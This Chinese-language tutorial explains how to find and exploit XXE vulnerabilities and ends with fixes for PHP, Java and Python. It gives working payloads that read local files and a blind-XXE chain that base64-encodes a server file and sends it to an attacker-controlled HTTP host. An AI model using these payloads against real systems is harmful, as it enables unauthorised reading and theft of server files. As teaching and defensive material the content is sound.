💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
## 寻找与利用xxe漏洞 ### 如何找xxe漏洞: 1. 抓包看accept头是否接受xml 如果是,使用payload验证是否可以攻击 2. 抓包看accept头是否接受json 如果是,把json改成xml,后用payload测试 一般 xxe 利用分为两大场景:有回显和无回显。 有回显的情况可以直接在页面中看到Payload 的执行结果或现象, 无回显的情况又称为`blind xxe`,可以使用外带数据通道提取数据。 ### 有回显xxe ```xml # 使用通用实体读取本地文件的payload <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo>&xxe;</foo> # 使用参数实体读取本地文件的payload <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evils.dtd" > %xxe; ]> <foo>&evil;</foo> ##外部 evils.dtd 中的内容。 <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" > ``` ### 无回显xxe 可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器 ```xml <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> ##外部 test.dtd 中的内容。 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int " <!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file; '>"> ``` 整个调用过程 1. 连续调用了三个参数实体`%remote;%int;%send;`,这就是我们的利用顺序, 2. 先调用`%remote` ,调用后请求远程服务器上的 test.dtd(类似于将 test.dtd 包含进来) 3. 再调用`%int`,int会调用test.dtd中的`%file`,会去获取服务器上面的敏感文件,并将结果进行base64编码 4. 后调用`%send`将结果,以url参数的形式发送结果到指定服务器,(实体的值中不能有%, 所以将其转成 html实体编码`&#37;`) 编码可参考:http://www.mamicode.com/info-detail-1680849.html 最后,怎么查看最终数据 1. 有报错直接查看报错信息 2. 无报错需要访问接受数据的服务器中的日志信息 可以看到经过 base64 编码过的数据,解码后便可以得到数据。编码是为了不破坏原本的 XML 语法,不编码会报错 ## XE漏洞修复与防御: 方案一:升级PHP版本 方案二:修改代码 ``` #PHP: libxml_disable_entity_loader(true); #JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); #Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) ``` 方案三:黑名单过滤关键词(不推荐) ``` <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC ```